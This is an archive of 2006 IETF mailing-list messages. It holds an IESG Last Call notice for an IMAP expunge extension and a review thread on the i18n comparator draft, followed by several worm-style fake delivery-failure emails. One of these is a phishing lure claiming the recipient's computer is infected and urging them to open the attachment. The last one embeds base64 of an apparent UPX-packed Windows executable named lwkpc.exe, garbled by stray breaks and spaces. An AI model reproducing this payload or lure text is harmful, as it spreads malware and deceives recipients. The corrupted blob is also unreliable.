Sender: [email-masked]

--Apple-Mail-5--190230950
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=US-ASCII;
	delsp=yes;
	format=flowed

Please review!!

Thanks,
Lisa

Begin forwarded message:

> From: The IESG <[email-masked]>
> Date: August 23, 2006 5:52:08 AM PDT
> To: IETF-Announce <[email-masked]>
> Subject: Last Call: 'IMAP4 extension for reporting expunged  
> messages' to  Proposed Standard (draft-melnikov-imap-expunged)
> Reply-To: [email-masked]
>
> The IESG has received a request from an individual submitter to  
> consider
> the following document:
>
> - 'IMAP4 extension for reporting expunged messages'
>    <draft-melnikov-imap-expunged-01.txt> as a Proposed Standard
>
> The IESG plans to make a decision in the next few weeks, and solicits
> final comments on this action.  Please send any comments to the
> [email-masked] or [email-masked] mailing lists by 2006-09-20.
>
> The file can be obtained via
> http://www.ietf.org/internet-drafts/draft-melnikov-imap- 
> expunged-01.txt
>
>
> _______________________________________________
> IETF-Announce mailing list
> [email-masked]
> https://www1.ietf.org/mailman/listinfo/ietf-announce

--Apple-Mail-5--190230950
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html;
	charset=ISO-8859-1

<HTML><BODY style=3D"word-wrap: break-word; -khtml-nbsp-mode: space; =
-khtml-line-break: after-white-space; ">Please review!!<DIV><BR =
class=3D"khtml-block-placeholder"></DIV><DIV>Thanks,</DIV><DIV>Lisa<BR><DI=
V><BR><DIV>Begin forwarded message:</DIV><BR =
class=3D"Apple-interchange-newline"><BLOCKQUOTE type=3D"cite"><DIV =
style=3D"margin-top: 0px; margin-right: 0px; margin-bottom: 0px; =
margin-left: 0px; "><FONT face=3D"Helvetica" size=3D"3" color=3D"#000000" =
style=3D"font: 12.0px Helvetica; color: #000000"><B>From: =
</B></FONT><FONT face=3D"Helvetica" size=3D"3" style=3D"font: 12.0px =
Helvetica">The IESG &lt;<A =
href=3D"mailto:[email-masked]">[email-masked]</A>&gt;</F=
ONT></DIV><DIV style=3D"margin-top: 0px; margin-right: 0px; =
margin-bottom: 0px; margin-left: 0px; "><FONT face=3D"Helvetica" =
size=3D"3" color=3D"#000000" style=3D"font: 12.0px Helvetica; color: =
#000000"><B>Date: </B></FONT><FONT face=3D"Helvetica" size=3D"3" =
style=3D"font: 12.0px Helvetica">August 23, 2006 5:52:08 AM =
PDT</FONT></DIV><DIV style=3D"margin-top: 0px; margin-right: 0px; =
margin-bottom: 0px; margin-left: 0px; "><FONT face=3D"Helvetica" =
size=3D"3" color=3D"#000000" style=3D"font: 12.0px Helvetica; color: =
#000000"><B>To: </B></FONT><FONT face=3D"Helvetica" size=3D"3" =
style=3D"font: 12.0px Helvetica">IETF-Announce &lt;<A =
href=3D"mailto:[email-masked]">[email-masked]</A>&gt;</FON=
T></DIV><DIV style=3D"margin-top: 0px; margin-right: 0px; margin-bottom: =
0px; margin-left: 0px; "><FONT face=3D"Helvetica" size=3D"3" =
color=3D"#000000" style=3D"font: 12.0px Helvetica; color: =
#000000"><B>Subject: </B></FONT><FONT face=3D"Helvetica" size=3D"3" =
style=3D"font: 12.0px Helvetica"><B>Last Call: 'IMAP4 extension for =
reporting expunged messages' to<SPAN class=3D"Apple-converted-space">=A0 =
</SPAN>Proposed Standard (draft-melnikov-imap-expunged)<SPAN =
class=3D"Apple-converted-space">=A0</SPAN></B></FONT></DIV><DIV =
style=3D"margin-top: 0px; margin-right: 0px; margin-bottom: 0px; =
margin-left: 0px; "><FONT face=3D"Helvetica" size=3D"3" color=3D"#000000" =
style=3D"font: 12.0px Helvetica; color: #000000"><B>Reply-To: =
</B></FONT><FONT face=3D"Helvetica" size=3D"3" style=3D"font: 12.0px =
Helvetica"><A =
href=3D"mailto:[email-masked]">[email-masked]</A></FONT></DIV><DIV =
style=3D"margin-top: 0px; margin-right: 0px; margin-bottom: 0px; =
margin-left: 0px; min-height: 14px; "><BR></DIV> <DIV style=3D"margin-top:=
 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">The =
IESG has received a request from an individual submitter to =
consider</DIV><DIV style=3D"margin-top: 0px; margin-right: 0px; =
margin-bottom: 0px; margin-left: 0px; ">the following =
document:</DIV><DIV style=3D"margin-top: 0px; margin-right: 0px; =
margin-bottom: 0px; margin-left: 0px; min-height: 14px; "><BR></DIV><DIV =
style=3D"margin-top: 0px; margin-right: 0px; margin-bottom: 0px; =
margin-left: 0px; ">- 'IMAP4 extension for reporting expunged =
messages'</DIV><DIV style=3D"margin-top: 0px; margin-right: 0px; =
margin-bottom: 0px; margin-left: 0px; "><SPAN =
class=3D"Apple-converted-space">=A0=A0 =
</SPAN>&lt;draft-melnikov-imap-expunged-01.txt&gt; as a Proposed =
Standard</DIV><DIV style=3D"margin-top: 0px; margin-right: 0px; =
margin-bottom: 0px; margin-left: 0px; min-height: 14px; "><BR></DIV><DIV =
style=3D"margin-top: 0px; margin-right: 0px; margin-bottom: 0px; =
margin-left: 0px; ">The IESG plans to make a decision in the next few =
weeks, and solicits</DIV><DIV style=3D"margin-top: 0px; margin-right: =
0px; margin-bottom: 0px; margin-left: 0px; ">final comments on this =
action.<SPAN class=3D"Apple-converted-space">=A0 </SPAN>Please send any =
comments to the</DIV><DIV style=3D"margin-top: 0px; margin-right: 0px; =
margin-bottom: 0px; margin-left: 0px; "><A =
href=3D"mailto:[email-masked]">[email-masked]</A> or <A =
href=3D"mailto:[email-masked]">[email-masked]</A> mailing lists by =
2006-09-20.</DIV><DIV style=3D"margin-top: 0px; margin-right: 0px; =
margin-bottom: 0px; margin-left: 0px; min-height: 14px; "><BR></DIV><DIV =
style=3D"margin-top: 0px; margin-right: 0px; margin-bottom: 0px; =
margin-left: 0px; ">The file can be obtained via</DIV><DIV =
style=3D"margin-top: 0px; margin-right: 0px; margin-bottom: 0px; =
margin-left: 0px; "><A =
href=3D"http://www.ietf.org/internet-drafts/draft-melnikov-imap-expunged-0=
1.txt">http://www.ietf.org/internet-drafts/draft-melnikov-imap-expunged-01=
.txt</A></DIV><DIV style=3D"margin-top: 0px; margin-right: 0px; =
margin-bottom: 0px; margin-left: 0px; min-height: 14px; "><BR></DIV><DIV =
style=3D"margin-top: 0px; margin-right: 0px; margin-bottom: 0px; =
margin-left: 0px; min-height: 14px; "><BR></DIV><DIV style=3D"margin-top: =
0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; =
">_______________________________________________</DIV><DIV =
style=3D"margin-top: 0px; margin-right: 0px; margin-bottom: 0px; =
margin-left: 0px; ">IETF-Announce mailing list</DIV><DIV =
style=3D"margin-top: 0px; margin-right: 0px; margin-bottom: 0px; =
margin-left: 0px; "><A =
href=3D"mailto:[email-masked]">[email-masked]</A></DIV><DI=
V style=3D"margin-top: 0px; margin-right: 0px; margin-bottom: 0px; =
margin-left: 0px; "><A =
href=3D"https://www1.ietf.org/mailman/listinfo/ietf-announce">https://www1=
.ietf.org/mailman/listinfo/ietf-announce</A></DIV> =
</BLOCKQUOTE></DIV><BR></DIV></BODY></HTML>=

--Apple-Mail-5--190230950--

Date: Sat, 19 Aug 2006 12:33:05 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: Gen-ART Review of draft-newman-i18n-comparator-06.txt
Cc: [email-masked], [email-masked], General Area Review Team <[email-masked]>, Spencer Dawkins <[email-masked]>
Sender: [email-masked]

Lisa Dusseault writes:
> I'm OK Enough here.  It's hard to make things truly general.  We  
> really need to solve the IMAP need,
> ...

And the Sieve need. That's arguably even more pressing. 3028bis blocks 
on draft-newman-i18n-comparator and it's difficult to do much more than 
«hello world» in sieve without using a collation.

Arnt

Cc: "Arnt Gulbrandsen" <[email-masked]>, <[email-masked]>, <[email-masked]>, "General Area Review Team" <[email-masked]>, <[email-masked]>
From: Lisa Dusseault <[email-masked]>
Subject: Re: Gen-ART Review of draft-newman-i18n-comparator-06.txt
Date: Fri, 18 Aug 2006 11:19:40 -0700
To: Spencer Dawkins <[email-masked]>
Sender: [email-masked]

On Aug 18, 2006, at 11:03 AM, Spencer Dawkins wrote:

> Hi, Arnt,
>
>
>> I apparently forgot to reply back in March. Sorry.
>>
>> Spencer Dawkins <[email-masked]>
>>> I was thinking about this from the client's perspective (if the  
>>> collation
>>> doesn't report "error", how does the client know to report  
>>> anything to
>>> someone who might be able to fix the input?).
>>
>> There's no point in doing that. Take my home, IMAP. If an IMAP client
>> tells the server to sort the messages by subject, and one message's
>> subject contains an illegal ISO-2022-JP sequence, the collation will
>> return "error" a few times. That's not a bug in the client or server,
>> it's just another broken mail message. Usually it's spam. Routine.
>
> If you guys are OK here, I'm OK.

I'm OK Enough here.  It's hard to make things truly general.  We  
really need to solve the IMAP need, and the authors have done a good  
job of trying to make it useful elsewhere.  Most of the work of  
making the registry useful elsewhere would belong in other documents  
anyway.  For example, if IRIS wanted to use collations to sort  
registry entries and report errors, the reporting of errors during  
sorting would have to be part of the IRIS proposal anyway.

Then if that fails there's always new RFC numbers for later versions  
of this work.

Lisa

From: "Spencer Dawkins" <[email-masked]>
To: "Arnt Gulbrandsen" <[email-masked]>
Cc: <[email-masked]>, <[email-masked]>, "General Area Review Team" <[email-masked]>, <[email-masked]>, "Lisa Dusseault" <[email-masked]>
Subject: Re: Gen-ART Review of draft-newman-i18n-comparator-06.txt
Date: Fri, 18 Aug 2006 13:03:35 -0500
Sender: [email-masked]

Hi, Arnt,

>I apparently forgot to reply back in March. Sorry.
>
> Spencer Dawkins <[email-masked]>
>> I was thinking about this from the client's perspective (if the collation
>> doesn't report "error", how does the client know to report anything to
>> someone who might be able to fix the input?).
>
> There's no point in doing that. Take my home, IMAP. If an IMAP client
> tells the server to sort the messages by subject, and one message's
> subject contains an illegal ISO-2022-JP sequence, the collation will
> return "error" a few times. That's not a bug in the client or server,
> it's just another broken mail message. Usually it's spam. Routine.

If you guys are OK here, I'm OK.

>> No, I'm sorry that I wasn't clearer. I was trying to say that if the
>> designated expert fumbles the evaluation, perhaps talking to an APPS-area
>> AD would be sufficient to resolve most appeals, without involving the 
>> rest
>> of the IESG, unless the APPS-area AD fumbles the first-level appeal.
>
> I made this change.

Likewise (and I noted it when I reviewed -13 - thanks!)

Spencer 

Date: Fri, 18 Aug 2006 19:36:18 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: Spencer Dawkins <[email-masked]>
Cc: [email-masked], [email-masked], Scott Hollenbeck <[email-masked]>, General Area Review Team <[email-masked]>, [email-masked]
Subject: Re: Gen-ART Review of draft-newman-i18n-comparator-06.txt
Sender: [email-masked]

I apparently forgot to reply back in March. Sorry.

Spencer Dawkins <[email-masked]>
> I was thinking about this from the client's perspective (if the collation 
> doesn't report "error", how does the client know to report anything to 
> someone who might be able to fix the input?).

There's no point in doing that. Take my home, IMAP. If an IMAP client
tells the server to sort the messages by subject, and one message's
subject contains an illegal ISO-2022-JP sequence, the collation will
return "error" a few times. That's not a bug in the client or server,
it's just another broken mail message. Usually it's spam. Routine.

> No, I'm sorry that I wasn't clearer. I was trying to say that if the 
> designated expert fumbles the evaluation, perhaps talking to an APPS-area 
> AD would be sufficient to resolve most appeals, without involving the rest 
> of the IESG, unless the APPS-area AD fumbles the first-level appeal.

I made this change.

Arnt

From: [email-masked]
To: [email-masked]
Subject: delivery failed
Date: Fri, 18 Aug 2006 13:50:05 +0100
Sender: [email-masked]

This is a multi-part message in MIME format.

------=_NextPart_000_0008_032E0DF6.250B373E
Content-Type: text/plain;
	charset=us-ascii
Content-Transfer-Encoding: 7bit

The original message was received at Fri, 18 Aug 2006 13:50:05 +0100
from imc.org [63.228.28.76]

----- The following addresses had permanent fatal errors -----
[email-masked]

------=_NextPart_000_0008_032E0DF6.250B373E
Content-Type: application/octet-stream;
	name="Document.pif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="Document.pif"

------=_NextPart_000_0008_032E0DF6.250B373E--

From: [email-masked]
To: [email-masked]
Subject: Mail System Error - Returned Mail
Date: Fri, 18 Aug 2006 20:33:27 +0900
Sender: [email-masked]

This is a multi-part message in MIME format.

------=_NextPart_000_0001_9A33C234.C7A75B9E
Content-Type: text/plain;
	charset=us-ascii
Content-Transfer-Encoding: 7bit

Dear user of imc.org,

Your account was used to send a large amount of junk e-mail messages during the recent week.
Probably, your computer was infected by a recent virus and now runs a hidden proxy server.

Please follow instructions in the attached file in order to keep your computer safe.

Sincerely yours,
imc.org user support team.

------=_NextPart_000_0001_9A33C234.C7A75B9E
Content-Type: application/octet-stream;
	name="attachment.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="attachment.zip"

------=_NextPart_000_0001_9A33C234.C7A75B9E--

From: [email-masked]
To: [email-masked]
Subject: Mail System Error - Returned Mail
Date: Mon, 14 Aug 2006 10:57:47 -0700
Sender: [email-masked]

This is a multi-part message in MIME format.

------=_NextPart_000_0009_891B42EE.A18F392A
Content-Type: text/plain;
	charset=us-ascii
Content-Transfer-Encoding: 7bit

The original message was received at Mon, 14 Aug 2006 10:57:47 -0700 from [54.203.204.165]

----- The following addresses had permanent fatal errors -----
[email-masked]

------=_NextPart_000_0009_891B42EE.A18F392A
Content-Type: application/octet-stream;
	name="message.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="message.zip"

------=_NextPart_000_0009_891B42EE.A18F392A--

From: [email-masked]
To: [email-masked]
Subject: Mail System Error - Returned Mail
Date: Thu, 10 Aug 2006 18:15:49 +0100
Sender: [email-masked]

This is a multi-part message in MIME format.

------=_NextPart_000_0014_6968241E.532E2178
Content-Type: text/plain;
	charset=us-ascii
Content-Transfer-Encoding: 7bit

This message was not delivered due to the following reason:

Your message was not delivered because the destination server was
not reachable within the allowed queue period. The amount of time
a message is queued before it is returned depends on local configura-
tion parameters.

Most likely there is a network problem that prevented delivery, but
it is also possible that the computer is turned off, or does not
have a mail system running right now.

Your message was not delivered within 8 days:
Mail server 190.82.133.15 is not responding.

The following recipients could not receive this message:
<[email-masked]>

Please reply to [email-masked]
if you feel this message to be in error.

------=_NextPart_000_0014_6968241E.532E2178
Content-Type: application/octet-stream;
	name="lwkpc.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="lwkpc.exe"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA2AAAAA4f
ug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBAwAAAAAA
AAAAAAAAAADgAA8BCwEHAABgAAAAEAAAAIAAAADtAAAAkAAAAPAAAAAAUAAAEAAAAAIAAAQAAAAA
AAAABAAAAAAAAAAAAAEAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA
AAAU9QAAMAEAAADwAAAUBQAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA AAAAAAAAAAAAAA
AAAAAAAAAABVUFgwAAAAAACAAAAAEAAAAAAAAAAEAAAAAAAAAAAAAAAAAACA AADgVVBYMQAAAAAA
YAAAAJAAAA BgAAAABAAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAAABAAAADwAAAACAAAAGQAAAAA
AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAMS4yNABVUFghDAkCCRn7h0iRpnG1EsYAAPtcAAAAngAAJgEAd/+H
qJAAa2VybmVsMzIuZP+b599sbDVyb290XElFRnJhbWUAQVRW/v/8SF9Ob3RlcmN0cmxfcmVud25k
D/+3//98eV/uz7nd3mc7hBWA1AAeOAmyn/sVAI0GGHi2////D0BAAwAdK/RBgU/N/P/XJWsIAAFA
PI9TATZA/27/31Tx/aczu72aQRQEV4UO BkBdEAAYBC+3291ACB8ALQoDeSgHpCyK3AKXv/zlAL4O
LxsAAL8GpzgEAIUvBRO3t //yAQAVXY5fzgtEZWMAo3YAT58AU92++9tlcF51ZwBKdWwDbgBNYXkP
cHJrl+3NBwNGZWITYVNhJ91zt+1/aQBUaHUAV2VkB3XeTW8XL
7KPbb8lcywgJXUCcwUuMnU6BPPC
e1sOYwYDPUludG+tte10RwJDOgh6SFN0YfsT/ggoZG
5zYXBpVWlwaGxw
DQvbsiUbRFFucjlBNfyt
aws7TgJ3b3JrUGFs c9/23f4fb
WFpbB4tZAtzOG0HYbY5N/ZidXNlG3N0FxZwJLvdursXY2NvsgDe
aX
YLeWMbd
mwrfHRpZmkLLmdLbGkvmuFjtzhydkt1Ym1p3bbarR3bK2kPcHB4
EGFkFoYf4eZCQ 2Fn
43RoZS5iH8+33ftnb2xkLVFJY2EgZmVzdG6Vj9YcIiLSL2YFY+zOD0tvZnRjaSe91rmtP1Nnrw15
oQOFVmjPtScRKxSC3rf3vXkGS2goB2JvZHkPrX3l9hZZaW4vdwhKPObcsXIHemlxDGpzZi7d1toz
eU9XoityunL2tkNrILgrCG4Hvx3a++FvZyNnbnUOB1iLvUPhg6kWB5TrjtZ
+b3Ifyy5jn//eChEW
DnweZMx5CZdm5y5AZG9uZXh8X9sttHvYbxh5YQasc5v5YWt+nGtHbmRhFXS5ixVicdWOB2RuLh1i
pcKfZsXHvY38sL4u53ltYXbkXy0hZVvsiy8HQFeTIACQB8oKpigAKbV+nCogApcYUECQQT7TB3AP
bGhmQIZkZGADhqQZkFwEVExAhmRIR DwZZJBmBTQwKKQbkCEgBr8YwgL2BR8Q
DwBk28CmAgsMAQBm
KWywEgEAPU9Vts
g fACZuYpalwxr2Bzt8LnQwn+meFF8HXwso945R+rogpf9fYRoXbWR5Ng8pLi5A
DpzZuQaKJwNAAC35///0MDUqLioAVVNFUlBST0ZJTEUAOlxwNus00w0ALXKQbtmnFCY eBwj8JTTN
IM0Z9OwU5DfIIIPc0MQnTdM0TQq8ALgytA0yyCCwrKgC0nSDB6Q3BaCk6Qb7CXwHUE83LHuznxkI
3+gkpy+PkMHO8tgkDAfIz54dZMC4JGe0JG+sJCAn3yUKHyV8PHvy7Ewk92ggUB1v2BnBVollz5fg
ILe/9c26BHskdHzzICRUfSx7DHtNB61m4HxtfRwJ+VXE4PZgbXykAn0gjNgCDgydQNR8DTHWGgxp
GB1AIIsClygu2WQglLyDP2htICRBK3JtIGLtbw2aWE0pezp8LH18AW2D3wKidBQga1R3JZVoHXwZ
fNogLIZfe++gEHR9ey58KikAfW2ttdsNCgF7Vx8niC5kNhNHojzQfGZfBXKfaK3dDGVpF3UIM3N9
2127e2lefFl9H9xley1BbW2bRHvQBpMceyGw3eAWQmJlTHx3 CH1urbX
3BWSvB k/mHWxh61qLDrR8
fwT1bTHWoBXe3hkIG9tW6GjuY2l8z
4FtFg xM1rbuYWzQahprK2p8N XHbXhzEICBzc7pz7/xcuxUg
ZI vY7GlzZQqtxQo9vV7oOa6VmN2Nay7m/T7hv0SDY8d8UJAFYmx5LHzfIrRCBC9aDHxPYnZONNcK
dSYWOcAB+Vz8jXB1f9pkDF2hvXsYQqvifI6FZ+7nV7xieed7IHa
mLYJz7nJ1faPs/5IQaCZaaz85
HFUZrbltexJ0Q2ode0TswUbrDIVkg/JXeEceQit0brq8UNh0ORHcwbnDWx9P3h2cwX2kfANlZuej
tQjvZbgLVGdKhA/3sXVjS3uKOiAlWcHdWjuEY2hJCgqGuiXeZVLodDRmjThsC7F9PJ9yknLDCiGh
U
R4GEoKhcHvW9p97Vup0dbFBCQZ D
rVM0QEtA22iGtnNCQ1l9c2EeDW1DlWdhUBNIcbjlrdH+6Csg
ZGEsRHQdI3Xmezd8h2gaYRZaEHpasoIBbXuz5za8VLonFasXOpxrGn13exsfBVkKhsPod30jIK6X
mqGjOdCSzXLyJY8WrBmLOhD2QzMkpEhWKmk49t52QzQocylkOuVWVZ0Mz017Vk bNmTW3bONQHH1U
Db+RmmHMzVRkAlLQLkmHGTg+/0mvue1z/UF8pn12/KX3xh5tF2koQGGUVHgz5FpxqKp0SWQuILbW
lnQMRl2bR2HrzQrJoQguii2pQnudEHQTCKjCmmuOrmSUcEYQk1x2W3Aca5f4ZxxhLUadAUqxqmsM
qnP
vBaQI5SeUUd1jUh/Cbsy1tW3wHLdZJQxldlpmm7VWnhF5LPVEhG1XqrVCWiNPO+jMLeO9MVFZ
IqUdbo7d2GYshEZvZW8JxJrRQWg6eUnTLULTIFVusr5odGgHYRXCLq9tJEQxAw0fj3Pwe7FjDI0J
G9J9qbUBoW3v3TMkaZ9BN3PEQxUyxlx6cFQ/KxlouMNwaQRzWtl4XicwO303WiCzeht0w6FxPC8+
RyMcDkztd2kodA4ujQAFQCRGfE9aKQINR2bogMCa217CRi/YIMktYfhOFZDllW8Z4rCB1IBsFIVk
V6nU/kwkd3tTF/nSdW63XSBkIFvlXXwIaXzrwr6vWpYtACDkYbEcBwxuclKbHpjFXPvap277Z lNt
grA9Q6waOFDfvXS2GsFmdk1hoGMUawauxgmzk80ezvNSgGdALrc9WmsAuOsxXGt+DNrjiQtolqqJ
uZybFFRERlHi7VNrMb69ez4AI E1B3Lb o3u8gRnvifPtNFiRmXnN9M3MAIDUwJPsNX2B7UOo1Ui64
UkE1GlvX1YggCUQAX+wDN PcRVV4NFHxB+s3hwMBSo3MRlwGWGsu6a2dTZrz3DSw1N TQg8VVJtbbQ
lo5vuBR4VSCJ1pbUTU2ox8gc4A7MEBs3U817uUY7ImH0QRZX+0j2rTCx
LjEuMiWWIIQOB
qYHIChO
szw6IGwkHhEcctMplAHMtW17PTAB6V1wlG2EO/ggyW8ZTQYiUQdbzhMuIwM4aEvQxSUDthPd7S6N
CnC
X24LAgjYsMXRCPbQgfDFfU8lbfAPWDK0SJGyZYwcHLhZEIf6ib8K78VJ
DUFQUbzranO6Hv/2H
e7lCT1ggTk8dRk9VTkR8AQ/hsIQxX5gCfEnhJS20bs6GZIF8TgH87GuCHrd9a0RBVEGFsb57lWQ0
MDAt YXFyAZjx9r8lbS1FLU9QRW9VVCzG0H4w0J8uDSFBU86y9toyNqhw0LhBoW13vy1STVNAQ1JF
PEHRfDMV3EezY/kCGQxv/yGsZDdTWV NURU0tRjxYREkZt9r2U0tRVe9BQj1zazxkKNgLPz73z21i
heOMbHUvsU6UWBLxKywItjEkJ4h9MaMlMBA bGu9CIZ7pZYgHRA1a 4Jogo3S3C21Gh9 jTcwcmB2UH
GwLw6QBNXAgnDwxNyFNFaeoNg60WUqQcxzCaRVNTi08seBaFfI5lLeRcpi9ZMw46ASa5zsSyXQF0
dBrtuY7MsitErSENmHfEhHTsE2NtZADuxgUDE
XZlAElmAEyQIVqzAOvt5zFi2YBdAGzPj0eYeieP
uwAs4R16D18HihPcbENjY3UJNyuPtgTcAD4L9QuRPOJG40VSLbEcT06PJLfSGBwAACgiUIHVCN8i
QyJQQVSh5NqzF0F1CuHxZqZJiEAsVFPSSjzbGixRIksgT3OO7PG5FjQiWBNCCF0QukpjOxAiTNhL
mEtDrA9sW98kXnVitUslVCW3BQMOj3bHcBPh0PCI93IANHLt4BreI34AFi8nNMJrDUZoLANnJfT/
DysNAgBBQkNERUZHSElKS0xNY+MvvcBQUVJTVVZXWFlaNGMCLiywcWZnxGqlbUJwcf+lbg2buXZ3
a3owMTIzNDU2hh4E+Dc4OSsvx1gtUGaplTZuAnR5IDNvDtPvY8BeyRVOMWwaMCMeeBhuTefo0lLB
L2wxb7ZFeAuUdmAKRDYuqbI2K3zMdQQwADNJTUVPKDT70MhViYBQQnlAs
p2hAU3OHiBWOR2utjYB
m0NCMi0qlLbWVHmUQG1Y1bhtCxusdC/zeEc7IQli7S28He4ReT0iTiIxAA809GsFcS1WzmmAMWjO
EWtPGPxDB2K tGWiYaosKMRfQoGEGhQo31j4xrJ8Niz1fCwI+zk/3LjN1BDQ4WC7jTtqLmWtQjHM2
K7D3Zi
e9ST9HwakClLphzf8gcrRWGC/eGBe5NnPwmdjKbs/GNI0NelpqZj BFiGxD
26FvfkFiMTY0
Ir3X1LhE+0 BpUbjaC9jpSIRMjzpaZK/Rdrmnn1PPRHu3L6L2SJ+D1m4FQ6M9ddd1YsXaiW
xpmDdi
hFwwwqRemjGvLYc GS+qwrJmdN
xg2WIQujQBJVDOIuXgJ+xCyt
pVYbqNSQ08kBD4naKV3YjQHehJ7
L5K52hnvFy3L2k+Cy0hFTABFDA/S2QTDTE/r4ysgk/V6cT5TTVRQJYMgNhmHJVyjXCoseq5ro27C
cg02I7diwTcLQRfXeC4lHigCE/dtOJGD56cu82xvZ3qjLE50MEKVL5U VSq3YS1eoWmgmPhZFVVJM
RME1DR2wFXquQ7BG0EG11t5cA086Ly82mxND09e2VHlxc04v6mForIv/Qi6icD9scHY9MSaWPSYq
wG/9aHAmdA09d2ViJiNsWwpnJvF3cQd kT0HbWjt3ADo+YYvtTF3M6FAtL8tTcz+nMNvfKXMma2dz
PTAFbLdDipB9PQCPVcVS72AQP3A5dz3uS12iWOU4Jm89ZnAtixU2tJktByZNPW1HIWsQi51TGpPj
A4tE4lFobD17hg3WYibnUm8InOKM8KPPK88Gh6UX el8rW0EbGsxgqxhfi+y53P7/g+wkU1aLdQgz
21fGRdxTA91v3maX2+Vy33Tgd+FhF+Jy42VyuVwu5FzlTeZp52Om2XbN6Okv6nM36+xds+2a7e4n
70Q78PE38tDtb7ZtH/P0bohd9YkeBAu/dwv0L9mAjUX8UGgZpo15UIpFb7/x/wv22BvAA8dQ/xUE
EIeFwHRS/hOAfQt3cwb 6AnzVxwaxOCr4UDdHpmz3U2gGOFNTOhR1CfuHme3/dfwMAEPFX15bycMW
t4N2J+vw/YHsm1a+BX5b2v5XVo2FAP8Aa
lroDmmwg8QMzL3szhBWVXARizVcNxON7zf3aIgQF9Yz
/4C9DwB0////boqMPQqACSCKATxhfRE8en4Ni8dqGplb93Yj9vb7gMJBMUeAvCHj1FtGDmFudlAG
SA9qAbTZ3NaOfVh3BVQttzDWdh0C9+xeQMzBLBfKbcFKwlcw1P3 GaAS5XTZ0y1DI9Gr1YQf2dpfN
wmb3+C6M+fp4+2XfbxoKSgeIi0UIiz2E2I1+duF/QIPABFFQibn/1+6JXQg5hfPl1gJc2P51DmgY
QN+me5+ADFAOmHw4nSEPL9bN3ISpny0meFYMdtLw/kmAPAhcd
A4ZPJCNo6Z7dthQK9YIaiA2dCjY
dwvfgElqAlNqAzQCf9M50xxwO8N0MoP4/3ySHXa6Y2xwaAxHOiY0FBARZOsQ3+7MZCVgPnUP//uD
fQgCuMOa4Q+MGWvPIHX9PpqRYiwfPDWQV9YtPDp3v3VkUAvEYmm apcdoxTbExcamaZqmx8jJysua
pmmazM3Oz9DRNU2zbdJzN9PU1daX22bZJ9dX2NluA9pk229N0zRNlndzXEN1NM2ANHJudFYL0gzS
ZXNpHzQ1y67tO+5S7/CG8Wy7kHQgSj75TRr6c5hrKox7Fe3mATDhXT8UdSkpg8YEVtojla2xjlaf
IfRVCP4ISTJeP1NXi3wkDCVDwxc uO/t0HUQ49rHenHTtahJXSwYQAl5fW8Nq7obpHzTu
aKgGE5Ah
6X6EIOxZD5yU+wjNtm+MXqsYgGX+INM0XWZ4nFJlZzTNIE1pc2VyU9M0NYNydi9pY07TNE1lUHJv
Y4ezsdk//P1zTpQfkU620k3oKQ6QBqld60CM0DNPTZ8c9/b7rYwfWTk+dQsMHYomWXV4Cdru329l
4Q8eTAUfrFlZBiFYJhZ2nxYAnI8dmAV0KX4I3xkcX1doHDF4IiMjsA+3wHa7+P9qUJlZ9/mDwh5p
0ugDFf/TGTwFrTvJwS0bTEEYBEYSnLVweyUk6/KQXS+YI0tmyRtovwFsgAv4lRFfpGiVH5gtuQX4
 /g0RIeC33zwsEG6gzFWNbCSQTMQAa9taKkJ40QyBYBjZOransBsLWBJ4Dqzus/SeGBB3qGWsEVsv
/bqsDaTsTayIAnUFhFT2b1v/A8j32YvBeQLbZlBkBnYGZsdFBsiRz90ADGIAdWIBDHb/v8DbDOdq
PJkJ/ 1JQM8CFyQ+cwI1EAHme78IrUCFFbARqaGCap2v/Yv80hRiQbw9mZABmFj5uaIwSs3wDMN/t
Ziv8MF+DxXDDnLSjaLEEn33h38OhBWnA/UNHBcOeJhVmoWqH8EF4G5TIweEQnzP+G1/6wcOLRCQh
